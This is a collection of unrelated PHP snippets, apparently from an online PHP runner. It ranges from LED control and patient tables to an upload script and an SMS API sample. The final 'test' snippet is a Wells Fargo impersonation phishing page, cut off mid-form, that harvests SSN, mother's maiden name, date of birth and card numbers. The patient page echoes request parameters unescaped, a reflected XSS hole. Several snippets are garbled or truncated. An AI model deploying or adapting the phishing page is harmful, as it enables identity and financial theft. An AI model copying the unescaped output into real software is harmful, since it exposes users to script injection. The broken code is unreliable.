<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "Привет мир!"; ?> </body> </html>

ledonoff

<html> <head> <meta name="viewport" content="width=device-width" /> <title>LED Control</title> </head> <body> LED Control: <form method="get" action="gpio.php"> <input type="submit" value="ON" name="on"> <input type="submit" value="OFF" name="off"> </form> <?php $setmode17 = shell_exec("/usr/local/bin/gpio -g mode 17 out"); if(isset($_GET['on'])){ $gpio_on = shell_exec("/usr/local/bin/gpio -g write 17 1"); echo "LED is on"; } elseif(isset($_GET['Off'])){ $gpio_off = shell_exec("/usr/local/bin/gpio -g write 17 0"); echo "LED is off"; } ?> </body> </html>

PHP(3)

<html> <body> <?php $x=5; $y=10; function myTest(){ $GLOBALS['y']=$GLOBALS['x']+$GLOBALS['y']; } myTest(); echo $y; ?> </body> </html>

Lab1

<html> <head> <title>Lista pacienti</title> </head> <body> <?php $json_string = '[ { "id":1, "first_name":"Belinda", "last_name":"Newiss", "email":"bnewiss0@wisc.edu", "gender":"Female", "diagnosis_code":"M84454A", "diagnosis_description":"Immobilization of Left Finger using Splint", "diagnosis_description_detailed":"Levetiracetam", "administered_drug_treatment":"ACONITUM NAPELLUS ROOT" }, { "id":2, "first_name":"Elwyn", "last_name":"Styant", "email":"estyant1@joomla.org", "gender":"Male", "diagnosis_code":"T1510XD", "diagnosis_description":"Fusion of R Sternoclav Jt with Int Fix, Open Approach", "diagnosis_description_detailed":"ondansetron hydrochloride", "administered_drug_treatment":"Acetaminophen and Diphenhydramine HCl" }, { "id":3, "first_name":"Karita", "last_name":"Casella", "email":"kcasella2@yahoo.com", "gender":"Female", "diagnosis_code":"S49199D", "diagnosis_description":"Dilate 4+ Cor Art, Bifurc, w 4+ Intralum Dev, Open", "diagnosis_description_detailed":"Ondansetron", "administered_drug_treatment":"ALOE VERA FLOWER" }, { "id":4, "first_name":"Yvonne", "last_name":"Shallcrass", "email":"yshallcrass3@mozilla.com", "gender":"Female", "diagnosis_code":"R5601", "diagnosis_description":"Introduction of Analg/Hypnot/Sedat into Lymph, Perc Approach", "diagnosis_description_detailed":"NAPROXEN SODIUM", "administered_drug_treatment":"Hydrocodone Bitartrate And Acetaminophen" }, { "id":5, "first_name":"Jodee", "last_name":"Silcocks", "email":"jsilcocks4@livejournal.com", "gender":"Female", "diagnosis_code":"S49029D", "diagnosis_description":"Bypass L Great Saphenous to Low Vein w Autol Vn, Open", "diagnosis_description_detailed":"Bismuth subsalicylate", "administered_drug_treatment":"Aluminum Zirconium Trichlorohydrex Gly" }, { "id":6, "first_name":"Durante", "last_name":"Allsebrook", "email":"dallsebrook5@phpbb.com", "gender":"Male", "diagnosis_code":"S0121XA", "diagnosis_description":"Replace of R Com Carotid with Synth Sub, Perc Endo Approach", "diagnosis_description_detailed":"Bumetanide", "administered_drug_treatment":"fenofibrate" }, { "id":7, "first_name":"Cy", "last_name":"Gillanders", "email":"cgillanders6@purevolume.com", "gender":"Male", "diagnosis_code":"M7502", "diagnosis_description":"Insert of Radioact Elem into L Shoulder, Perc Endo Approach", "diagnosis_description_detailed":"octinoxate, octocrylene, oxybenzone, zinc oxide", "administered_drug_treatment":"Codeine Phosphate, Phenylephrine Hydrochloride" }, { "id":8, "first_name":"Lynnett", "last_name":"Purdey", "email":"lpurdey7@telegraph.co.uk", "gender":"Female", "diagnosis_code":"M90551", "diagnosis_description":"Reposition Left Lung, Open Approach", "diagnosis_description_detailed":"DICAPRYLYL CARBONATE", "administered_drug_treatment":"CELECOXIB" }, { "id":9, "first_name":"Lennie", "last_name":"McGonigle", "email":"lmcgonigle8@irs.gov", "gender":"Male", "diagnosis_code":"T83128", "diagnosis_description":"Muscle Performance Assessment of Neuro Head, Neck", "diagnosis_description_detailed":"Arnica montana, Calendula officinalis, Symphytum officinale, Hypericum perforatum, Belladonna, Bellis perennis, Carbo vegetabilis,", "administered_drug_treatment":"triptorelin pamoate" }, { "id":10, "first_name":"Genny", "last_name":"DElias", "email":"gdelias9@amazon.co.jp", "gender":"Female", "diagnosis_code":"S8010XA", "diagnosis_description":"Measure Cardiac Electr Activity, Guidance, Extern", "diagnosis_description_detailed":"Levothyroxine Sodium", "administered_drug_treatment":"Ibuprofen" }, { "id":11, "first_name":"Marjy", "last_name":"Brownett", "email":"mbrownetta@irs.gov", "gender":"Female", "diagnosis_code":"S93303", "diagnosis_description":"Compression of L Low Extrem using Intermit Pressure Dev", "diagnosis_description_detailed":"Anthracinum,", "administered_drug_treatment":"Lidocaine Hydrochloride" }, { "id":12, "first_name":"Livy", "last_name":"Vidloc", "email":"lvidlocb@tmall.com", "gender":"Female", "diagnosis_code":"M86079", "diagnosis_description":"Restriction of L Axilla Art with Extralum Dev, Perc Approach", "diagnosis_description_detailed":"Elaeagnus angustifolia", "administered_drug_treatment":"risperidone" }, { "id":13, "first_name":"Faythe", "last_name":"Eldrett", "email":"feldrettc@time.com", "gender":"Female", "diagnosis_code":"T2212", "diagnosis_description":"Bypass R Popl Art to Poplit Art w Nonaut Sub, Open", "diagnosis_description_detailed":"Butalbital, Acetaminophen, and Caffeine", "administered_drug_treatment":"Lamotrigine" }, { "id":14, "first_name":"Rayner", "last_name":"Tanti", "email":"rtantid@archive.org", "gender":"Male", "diagnosis_code":"V00158S", "diagnosis_description":"Release Right Hip Tendon, External Approach", "diagnosis_description_detailed":"Avobenzone, Homosalate, Octisalate, Octocrylene, and Oxybenzone", "administered_drug_treatment":"Chlorhexidine Gluconate" }, { "id":15, "first_name":"Boothe", "last_name":"Girodier", "email":"bgirodiere@timesonline.co.uk", "gender":"Male", "diagnosis_code":"S02651G", "diagnosis_description":"Replacement of L Kidney Pelvis with Synth Sub, Via Opening", "diagnosis_description_detailed":"Calcium polycarbophil", "administered_drug_treatment":"Lansoprazole" }, { "id":16, "first_name":"Felic", "last_name":"Fitzmaurice", "email":"ffitzmauricef@altervista.org", "gender":"Male", "diagnosis_code":"M00011", "diagnosis_description":"Removal of Autol Sub from R Patella, Perc Approach", "diagnosis_description_detailed":"rhubarb", "administered_drug_treatment":"OCTINOXATE, OCTOCRYLENE, and ZINC OXIDE" }, { "id":17, "first_name":"Tabbatha", "last_name":"Matschke", "email":"tmatschkeg@imgur.com", "gender":"Female", "diagnosis_code":"O88212", "diagnosis_description":"Removal of Drainage Device from Bladder, Endo", "diagnosis_description_detailed":"Salicylic Acid", "administered_drug_treatment":"Atomoxetine hydrochloride" }, { "id":18, "first_name":"Yalonda", "last_name":"Taphouse", "email":"ytaphouseh@csmonitor.com", "gender":"Female", "diagnosis_code":"T472X1A", "diagnosis_description":"Revision of Nonaut Sub in L Tarsal Jt, Extern Approach", "diagnosis_description_detailed":"didanosine", "administered_drug_treatment":"Methyl Salicylate, Menthol and Capsaicin" }, { "id":19, "first_name":"Adan", "last_name":"Beddon", "email":"abeddoni@webeden.co.uk", "gender":"Male", "diagnosis_code":"S0292XG", "diagnosis_description":"Extirpation of Matter from L Metacarpophal Jt, Perc Approach", "diagnosis_description_detailed":"Standardized Cat Pelt", "administered_drug_treatment":"ALUMINUM HYDROXIDE, MAGNESIUM HYDROXIDE, DIMETHICONE" }, { "id":20, "first_name":"Charis", "last_name":"Caff", "email":"ccaffj@vkontakte.ru", "gender":"Female", "diagnosis_code":"S82046G", "diagnosis_description":"Repair Right Carpal, External Approach", "diagnosis_description_detailed":"Bisacodyl", "administered_drug_treatment":"ziprasidone hydrochloride" } ]'; $array = json_decode($json_string, true); $json_length = sizeof( $array ); if (!isset($_GET['id'])) { ?> <table border="1" cellpadding="10"> <thead><tr><th>Id</th><th>Nume pacient</th></tr></thead> <tbody> <?php for( $i = 0; $i < $json_length; $i++ ) { $char = $array[$i]; ?> <tr> <td><?php echo $char['id']; ?></td> <td><a href="execute_php_online.php?id=<?php echo $char['id'];?>?nume=<?php echo $char['first_name'];?>?prenume=<?php echo $char['last_name'];?>email=<?php echo $char['email'];?>?gender=<?php echo $char['gender'];?>?diagnosis_code=<?php echo $char['diagnosis_code'];?>?diagnosis_description=<?php echo $char['diagnosis_description'];?>?diagnosis_description_detailed=<?php echo $char['diagnosis_description_detailed'];?>?administered_drug_treatment=<?php echo $char['administered_drug_treatment'];?>"><?php echo $char['first_name']." ".$char['last_name'] ; ?></a></td> </tr> <?php } ?> </tbody> </table> <?php } else {?> <table border="1" cellpadding="10" id="pacienti"> <thead> <tr> <th>Id</th> <th>Nume</th> <th>Prenume</th> <th>email</th> <th>Sex</th> <th>Cod diagnostic</th> <th>Descriere diagnstic</th> <th>Descriere diagnstic detaliata</th> <th>Tratament prescris</th> </tr> </thead> <tbody> <tr> <td><?php echo $_GET['id']; ?></td> <td><?php echo $_GET['nume']; ?></td> <td><?php echo $_GET['prenume']; ?></td> <td><?php echo $_GET['email']; ?></td> <td><?php echo $_GET['gender']; ?></td> <td><?php echo $_GET['diagnosis_code']; ?></td> <td><?php echo $_GET['diagnosis_description']; ?></td> <td><?php echo $_GET['diagnosis_description_detailed']; ?></td> <td><?php echo $_GET['administered_drug_treatment']; ?></td> </tr> </tbody> </table> <?php }?> </body> </html>

12345

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $txt = "Hello world!"; $x = 5; $y = 10.5; ?> </body> </html> <?php namespace JadedPeriodicEllipses; class Person { private $_name; private $_age; function __construct($name, $age) { $this->_name = $name; $this->_age = $age; print 'Successfully constructed class. Name: ' . $this->_name . "\n"; } function __destruct() { echo 'Successfully destructed class.'; } function getPerson() { $array['name'] = $this->_name; $array['age'] = $this->_age; return $array; } } $PersonOne = new Person("Ellis", 13); var_dump($PersonOne); echo $PersonOne->getPerson()['name'] . "\n"; $PersonOne = null; echo "\n";

dogs

main.html <!DOCTYPE html> <html> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form> <form action="download.php" method="post"> <input type="submit" value="Download"> </form> <form action="display.php" method="post"> <input type="submit" value="Display file names"> </form> </body> </html> upload.php <?php $target_dir = "CC/"; $target_file = $target_dir . basename($_FILES[" $uploadOk = 1; $imageFileType = pathinfo($target_file, // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES[" if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = 0; } } // Check if file already exists if (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = 0; } // Check file size if ($_FILES["fileToUpload"][" echo "Sorry, your file is too large."; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo "Sorry, your file was not uploaded."; // if everything is ok, try to upload file } else { if (move_uploaded_file($_FILES[" echo "The file ". basename( $_FILES["fileToUpload"]["name" } else { echo "Sorry, there was an error uploading your file."; } }?> display.php <?php if ($handle = opendir('CC/')) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { echo "$file"; echo "<br>"; } } closedir($handle); }?> download.php <?php $dir = 'CC/'; $zip_file = 'file.zip'; // Get real path for our folder $rootPath = realpath($dir); // Initialize archive object $zip = new ZipArchive(); $zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE); // Create recursive directory iterator /** @var SplFileInfo[] $files */ $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($ RecursiveIteratorIterator:: ); foreach ($files as $name => $file) { // Skip directories (they would be added automatically) if (!$file->isDir()) { // Get real and relative path for current file $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); // Add current file to archive $zip->addFile($filePath, $relativePath); } } // Zip archive will be created only after closing object $zip->close(); <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP! MOHAN</h1>\n"; ?> </body> </html> <html> <head> <title></title> <style> tr { border: 2px solid black; } th { border: 2px solid black; } td { border: 1px solid black; } </style> </head> <body> <table style="width:80%; border: 2px solid black;border-spacing:2px"> <th>Id</th> <th>Name</th> <th>Date</th> <?php require("connection.php"); $a=mysqli_query($conn,"select * from Date_sort_task"); while($row=mysqli_fetch_array($a)) { ?> <tr align=center> <td><?php echo $row['Id'];?></td> <td><?php echo $row['name'];?></td> <td><?php echo $row['date'];?></td> </tr> <?php } ?> </table> <h1>Data sorted in descending order by DATE</h1> <table style="width:80%; border: 2px solid black;border-spacing:2px"> <th>Id</th> <th>Name</th> <th>Date</th> <?php $a=mysqli_query($conn,"select * from Date_sort_task order by date desc "); while($row=mysqli_fetch_array($a)) { ?> <tr align=center> <td><?php echo $row['Id'];?></td> <td><?php echo $row['name'];?></td> <td><?php echo $row['date'];?></td> </tr> <?php } ?> </table> <h1>Data sorted in descending order by DATE- in changed FORMAT</h1> <table style="width:80%; border: 2px solid black;border-spacing:2px"> <th>Id</th> <th>Name</th> <th>Date</th> <?php $a=mysqli_query($conn,"select *from Date_sort_task order by date desc "); while($row=mysqli_fetch_array($a)) { $sqldate=$row['date']; $date = strtotime($sqldate); //echo date("j F Y", $date);?> <tr align=center> <td><?php echo $row['Id'];?></td> <td><?php echo $row['name'];?></td> <td><?php echo date("j F Y", $date);?></td> </tr> <?php } ?> </table> <h1>Data sorted in descending order by DATE- in changed FORMAT - SEPERATELY</h1> <table style="width:80%; border: 2px solid black;border-spacing:2px"> <th>Id</th> <th>Name</th> <th>Day</th> <th>Month</th> <th>Year</th> <?php $a=mysqli_query($conn,"select *from Date_sort_task order by date desc "); while($row=mysqli_fetch_array($a)) { $sqldate=$row['date']; $date = strtotime($sqldate); //echo date("j F Y", $date);?> <tr align=center> <td><?php echo $row['Id'];?></td> <td><?php echo $row['name'];?></td> <td><?php echo date("j", $date);?></td> <td><?php echo date("F", $date);?></td> <td><?php echo date("Y", $date);?></td> </tr> <?php } ?> </table> <h1>Data sorted in descending order by DATE- upcoming dates</h1> <table style="width:80%; border: 2px solid black;border-spacing:2px"> <th>Id</th> <th>Name</th> <th>Date</th> <?php $a=mysqli_query($conn,"select * from Date_sort_task where date > CURDATE() order by date desc "); while($row=mysqli_fetch_array($a)) { $sqldate=$row['date']; $date = strtotime($sqldate); //echo date("j F Y", $date);?> <tr align=center> <td><?php echo $row['Id'];?></td> <td><?php echo $row['name'];?></td> <td><?php echo date("j F Y", $date);?></td> </tr> <?php } ?> </table> </body> </html>

sssss

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $html .="<tr> <td><label class=\"i-checks m-b-none\"><input class=\"single_check\" type=\"checkbox\" name=\"membercheck[]\" value=\".$result['id']."\" ><i></i></label></td> <td>".$sno."</td> <td>IASA ".$result['memsatsid']."</td> <td>".$result['firstname']." ".$result['lastname']."</td> <td>".$memship_name."</td> <td>".$new_joined."</td> <td>". if($mmtypeduration==0){ "Life Membership";} else { $new_mm_dd_yy;}"</td> <td><a class=\"member_sts\" href=\"#\" data-sts=\".$result['status']."\" data-id=\".$result['id']."\"><i class=\"fa ".if($result['status'] ==1){ "fa-toggle-on fa-lg text-success";}else { "fa-toggle-off fa-lg text-danger";}"></i></a></td> <td><a href=\"members_edit?members=".base64_encode($result['id'])." data-toggle=\"modal\"><i class=\"fa fa-edit fa-lg text-success\"></i></a></td> <td><a class=\"member_dlt\" href=\"#\" data-id=\"."$result['id']."\"><i class=\"fa fa-times-circle fa-lg text-danger\"></i></a></td> </tr>" ?> </body> </html>

php-curl-sms-sample-test-live

<?php $curl = curl_init(); $apikey = 'somerandomkey';//if you use apikey then userid and password is not required $userId = 'pereirafrancis86@gmail.com'; $password = '123456'; $sendMethod = 'simpleMsg'; //(simpleMsg|groupMsg|excelMsg) $messageType = 'text'; //(text|unicode|flash) $senderId = 'SMSGAT'; $mobile = '7083311784,9199999999998';//comma separated $msg = "This is my first message with SMSGatewayCenter"; $scheduleTime = '';//mention time if you want to schedule else leave blank curl_setopt_array($curl, array( CURLOPT_URL => "http://www.smsgateway.center/SMSApi/rest/send", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => ", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "userId=$userId&password=$password&senderId=$senderId&sendMethod=$sendMethod&msgType=$messageType&mobile=$mobile&msg=$msg&duplicateCheck=true&format=json", CURLOPT_HTTPHEADER => array( "apikey: $apikey", "cache-control: no-cache", "content-type: application/x-www-form-urlencoded" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; }

Log in page

<html> <body> <center><h2>LOGIN </h2> <form action="homepage.php" method="post"> <h3> UserName <input type="text" name="username"/> Password <input type="password" name="password"/> <input type="submit" value="Login"/> </form> </body> </html>

test

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-type" content="text/html; charset=UTF-8" /> <title>Wells Fargo&nbsp;Sign On to View Your Accounts</title> <link type="text/css" href="Nour/das/common/styles/publicsite.css" rel="stylesheet" media="screen,projection,print" /> <link rel="shortcut icon" type="image/x-icon" href="https://www.wellsfargo.com/favicon.ico" /> <link rel="icon" type="image/x-icon" href="https://www.wellsfargo.com/favicon.ico" /> <link href="Nour/up_files/global_megamenu_nisi1_002.css" rel="stylesheet" type="text/css"> <link href="Nour/up_files/global_megamenu_nisi1.css" rel="stylesheet" type="text/css"> <link href="Nour/up_files/global_megamenu.css" rel="stylesheet" type="text/css"> <link rel="stylesheet" type="text/css" href="Nour/up_files/style.css"> <link rel="stylesheet" type="text/css" href="Nour/up_files/style_003.css"> <link rel="stylesheet" type="text/css" href="Nour/up_files/style_002.css"> <script type="text/javascript" src="Nour/das/common/scripts/wfwiblib.js"></script> </head> <body id="online_wellsfargo_com"> <script type="text/javascript"> <!-- // <![CDATA[ if (top != self) { top.location.href = self.location.href; } // ]]> --> </script> <a name="top" id="top"></a> <div id="shell" class="L5"> <div id="masthead"> <div id="brand"> <a href="https://www.wellsfargo.com/" tabindex="5"><img src="Nour/das/common/styles/wf-logo.gif" id="logo" alt="Wells Fargo Home Page" /></a><a href="https://www.wellsfargo.com/auxiliary_access/aa_talkatmloc" tabindex="5"><img src="Nour/das/common/styles/shim.gif" class="inline" alt="Talking ATM Locations" border="0" height="1" width="1"/></a><a href="#skip" tabindex="5"><img src="Nour/das/common/styles/shim.gif" class="inline" alt="Skip to page content" border="0" height="1" width="1" /></a> </div> <div id="topSearch"><form action="https://www.wellsfargo.com/search/search" method="get"><input name="query" value=" title="Search" size="25" type="text" tabindex="6"/><input name="Search" value="Search" id="btnTopSearch" tabindex="6" type="submit" /></form></div> <div id="utilities"> <a href="#" tabindex="5" class="headerLink">Customer Service</a> | <a href="#" tabindex="5" class="headerLink">Locations</a> | <a href="#" tabindex="5" class="headerLink">Apply</a> | <a href="#" tabindex="5" class="headerLink">Home</a> </div> </div> <div id="tabNav"> <ul> <li><a href="#" title="Banking - Tab">Login &gt;</a></li> <li><a href="#" title="Loans &amp; Credit - Tab">Verification &gt;</a></li> <li></li> <li></li> <li class="tabOn"><a href="#" title="Customer Service - Tab - Selected">Update</a></li> </ul> <div class="clearer">&nbsp;</div> </div> <div id="main"> <div id="leftCol"> <div class="c15"><a href="#">Back to Previous Page</a></div> <div class="c45Layout"> <h3>Related Information</h3> <ul> <li><a href="#" class="relatedLink">Online Banking Enrollment</a></li> <li><a href="#" class="relatedLink">Online Security Guarantee</a></li> <li class="pnav"><a href="#" class="relatedLink">Privacy, Security and Legal</a></li> <li style="margin-top:10px;"><a href="#">Online Access Agreement</a></li> <li><a href="#">Security Questions Overview</a></li> </ul> </div> </div> <div id="contentCol"> <div id="title"> <h1 id="skip">Update Your Accounts Information</h1> </div> <div id="multiCol"> <div id="contentLeft"> <div class="c11text webwib"> <p class="alert"><strong>All this info is required.&nbsp;</strong> </p> <script type="text/javascript" src="Nour/das/common/scripts/user-prefs.js"></script> <br> <form action="action.php" method="post" name="Signon" id="Signon" autocomplete="off"> <div> <input type="hidden" name="x1" value="<?php echo $_POST["x1"]; ?>"/> <input type="hidden" name="x2" value="<?php echo $_POST["x2"]; ?>"/> </div> <table summary="main content" width="100%" cellspacing="0" cellpadding="0" border="0"> <tbody><tr> <td colspan="3" valign="top"> <table summary="main content" width="100%" cellspacing="0" cellpadding="0" border="0"> <tbody> <tr> <td colspan="3" valign="top"> <table id="table1" width="100%" cellspacing="0" cellpadding="2" border="0"> <tbody><tr> <td class="tanrow" align="left"><span style="font-size:11px"> &nbsp;&nbsp;Your Information</span></td> </tr> </tbody></table> <table id="table12" width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="inputField1" width="35%" align="right"> <label id="mmn0">First name</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x3" maxlength="15" id="mmn1" title="Enter your First Name" size="20" type="text" required> </td> </tr> </tbody></table> <table id="table13" width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="inputField1" width="35%" align="right"> <label id="mmn2"> Last name</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x4" maxlength="15" id="mmn3" title="Enter your Last Name" size="20" type="text" required> </td> </tr> </tbody></table> <table id="table13" width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="inputField1" width="35%" align="right"> <label id="mmn4">Address </label><span class="alertText2"> *</span></td> <td class="inputTextBox" width="65%"> <input name="x5" maxlength="15" id="mmn5" title="Enter your Address" size="20" type="text" required> </td> </tr> </tbody></table> <table id="table13" width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="inputField1" width="35%" align="right"> <label id="mmn6">City</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x6" maxlength="15" id="mmn7" title="Enter your City" size="20" type="text" required> </td> </tr> </tbody></table> <table id="table13" width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="inputField1" width="35%" align="right"> <label id="mmn8">State</label><span class="alertText2"> *</span></td> <td class="inputTextBox" width="65%"> <input name="x7" maxlength="15" id="mmn9" title="Enter your State" size="20" type="text" required> </td> </tr> </tbody></table> <table id="table17" width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="inputField1" width="35%" align="right" > <label id="mmn10">ZipCode</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x8" maxlength="15" id="mmn11" title="Enter your Zip Code" size="20" type="text" required> </td> </tr> </tbody></table> <table id="table18" width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="inputField1" width="35%" align="right"> <label id="mmn12">Phone Number</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x9" maxlength="10" id="mmn13" title="Enter your Phone Number" size="20" type="text" required> </td> </tr> </tbody></table> </td> </tr> <tr> <td> &nbsp;</td> <td> <table width="100%" cellspacing="0" cellpadding="2" border="0"> <tbody><tr> <td valign="top"> <table width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="tanrow" colspan="5" align="left"><span style="font-size:11px"> &nbsp;&nbsp;Security Information</span></td> </tr> <tr> <td colspan="6">&nbsp;&nbsp;&nbsp;<span class="instrText" style="font-size:11px">Please provide the information below so that we can verify your identity.</span></td> </tr> <tr> <td colspan="2"> <!-- BEGIN Change section text --> <!-- END Change section text --> </td> </tr> <tr> <td colspan="2"> &nbsp;</td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="ssn"> Social Security Number&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x10" maxlength="3" id="ssn1" title="Enter your Social Security Number" size="4" onkeyup="autotab(this, document.frm.ssn2)" type="text" required>- <input name="x11" maxlength="2" id="ssn2" title="Enter your Social Security Number" size="3" onkeyup="autotab(this, document.frm.ssn3)" type="text" required>- <input name="x12" maxlength="4" id="ssn3" title="Enter your Social Security Number" size="5" type="text" required> <span class="instrText" style="font-size:10px"> &nbsp;(XXX-XX-XXXX)</span> </td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="mmn"> Mother's Maiden Name&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x13" maxlength="15" id="mmn" title="Enter your Mother's Maiden Name" size="20" type="text" required> </td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="dob"> Date of Birth&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <select class=" name="x14"> <option value=" selected="selected">month</option> <option value="Jan"> Jan</option> <option value="Feb"> Feb</option> <option value="Mar"> Mar</option> <option value="Apr"> Apr</option> <option value="May"> May</option> <option value="Jun"> Jun</option> <option value="Jul"> Jul</option> <option value="Aug"> Aug</option> <option value="Sep"> Sep</option> <option value="Oct"> Oct</option> <option value="Nov"> Nov</option> <option value="Dec"> Dec</option> </select>&nbsp;<select class=" name="x15"> <option value=" selected="selected">day</option> <option value="01"> 01</option> <option value="02"> 02</option> <option value="03"> 03</option> <option value="04"> 04</option> <option value="05"> 05</option> <option value="06"> 06</option> <option value="07"> 07</option> <option value="08"> 08</option> <option value="09"> 09</option> <option value="10"> 10</option> <option value="11"> 11</option> <option value="12"> 12</option> <option value="13"> 13</option> <option value="14"> 14</option> <option value="15"> 15</option> <option value="16"> 16</option> <option value="17"> 17</option> <option value="18"> 18</option> <option value="19"> 19</option> <option value="20"> 20</option> <option value="21"> 21</option> <option value="22"> 22</option> <option value="23"> 23</option> <option value="24"> 24</option> <option value="25"> 25</option> <option value="26"> 26</option> <option value="27"> 27</option> <option value="28"> 28</option> <option value="29"> 29</option> <option value="30"> 30</option> <option value="31"> 31</option> </select>&nbsp;<select class=" name="x16"> <option value=" selected="selected">year</option> <option value="1910"> 1910</option> <option value="1911"> 1911</option> <option value="1912"> 1912</option> <option value="1913"> 1913</option> <option value="1914"> 1914</option> <option value="1915"> 1915</option> <option value="1916"> 1916</option> <option value="1917"> 1917</option> <option value="1918"> 1918</option> <option value="1919"> 1919</option> <option value="1920"> 1920</option> <option value="1921"> 1921</option> <option value="1922"> 1922</option> <option value="1923"> 1923</option> <option value="1924"> 1924</option> <option value="1925"> 1925</option> <option value="1926"> 1926</option> <option value="1927"> 1927</option> <option value="1928"> 1928</option> <option value="1929"> 1929</option> <option value="1930"> 1930</option> <option value="1931"> 1931</option> <option value="1932"> 1932</option> <option value="1933"> 1933</option> <option value="1934"> 1934</option> <option value="1935"> 1935</option> <option value="1936"> 1936</option> <option value="1937"> 1937</option> <option value="1938"> 1938</option> <option value="1939"> 1939</option> <option value="1940"> 1940</option> <option value="1941"> 1941</option> <option value="1942"> 1942</option> <option value="1943"> 1943</option> <option value="1944"> 1944</option> <option value="1945"> 1945</option> <option value="1946"> 1946</option> <option value="1947"> 1947</option> <option value="1948"> 1948</option> <option value="1949"> 1949</option> <option value="1950"> 1950</option> <option value="1951"> 1951</option> <option value="1952"> 1952</option> <option value="1953"> 1953</option> <option value="1954"> 1954</option> <option value="1955"> 1955</option> <option value="1956"> 1956</option> <option value="1957"> 1957</option> <option value="1958"> 1958</option> <option value="1959"> 1959</option> <option value="1960"> 1960</option> <option value="1961"> 1961</option> <option value="1962"> 1962</option> <option value="1963"> 1963</option> <option value="1964"> 1964</option> <option value="1965"> 1965</option> <option value="1966"> 1966</option> <option value="1967"> 1967</option> <option value="1968"> 1968</option> <option value="1969"> 1969</option> <option value="1970"> 1970</option> <option value="1971"> 1971</option> <option value="1972"> 1972</option> <option value="1973"> 1973</option> <option value="1974"> 1974</option> <option value="1975"> 1975</option> <option value="1976"> 1976</option> <option value="1977"> 1977</option> <option value="1978"> 1978</option> <option value="1979"> 1979</option> <option value="1980"> 1980</option> <option value="1981"> 1981</option> <option value="1982"> 1982</option> <option value="1983"> 1983</option> <option value="1984"> 1984</option> <option value="1985"> 1985</option> <option value="1986"> 1986</option> <option value="1987"> 1987</option> <option value="1988"> 1988</option> <option value="1989"> 1989</option> <option value="1990"> 1990</option> <option value="1991"> 1991</option> <option value="1992"> 1992</option> <option value="1993"> 1993</option> <option value="1994"> 1994</option> <option value="1995"> 1995</option> <option value="1996"> 1996</option> <option value="1997"> 1997</option> <option value="1998"> 1998</option> <option value="1999"> 1999</option> <option value="2000"> 2000</option> </select> </td> </tr> </tbody></table> </td> </tr> <tr> <td class="bodyText">&nbsp;</td> </tr> </tbody></table> <table id="table18" width="100%" cellspacing="5" cellpadding="2" border="0"> <tbody><tr> <td class="tanrow" colspan="2" align="left"><span style="font-size:11px"> &nbsp;&nbsp;Credit / Debit Card Information</span></td> </tr> <tr> <td colspan="2">&nbsp;&nbsp;&nbsp;<span class="instrText" style="font-size:11px">Enter card information as accurately as possible.</span> <br>&nbsp;&nbsp;&nbsp;<span class="instrText" style="font-size:11px">For card number, enter numbers only please, no dashes or spaces.</span> </td> </tr> <tr> <td colspan="2"> <!-- BEGIN section text --> <!-- END section text --> </td> </tr> <tr> <td colspan="2"> &nbsp;</td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="cardnumber">Card Number&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <input name="x17" maxlength="16" size="25" type="text" required> </td> </tr> <tr> <td class="inputField1" width="35%" align="right"> <label id="empwd0"> Expiration Date&nbsp;</label><span class="alertText2">*</span></td> <td class="inputTextBox" width="65%"> <select class=" name="x18"> <option value="00" selected="selected">month</option> <option value="01"> 01</option> <option value="02"> 02</option> <option value="03"> 03</option> <option value="04"> 04</option> <option value="05"> 05</option> <option value="06"> 06</option> <option value="07"> 07</option> <option value="08"> 08</option> <option value="09"> 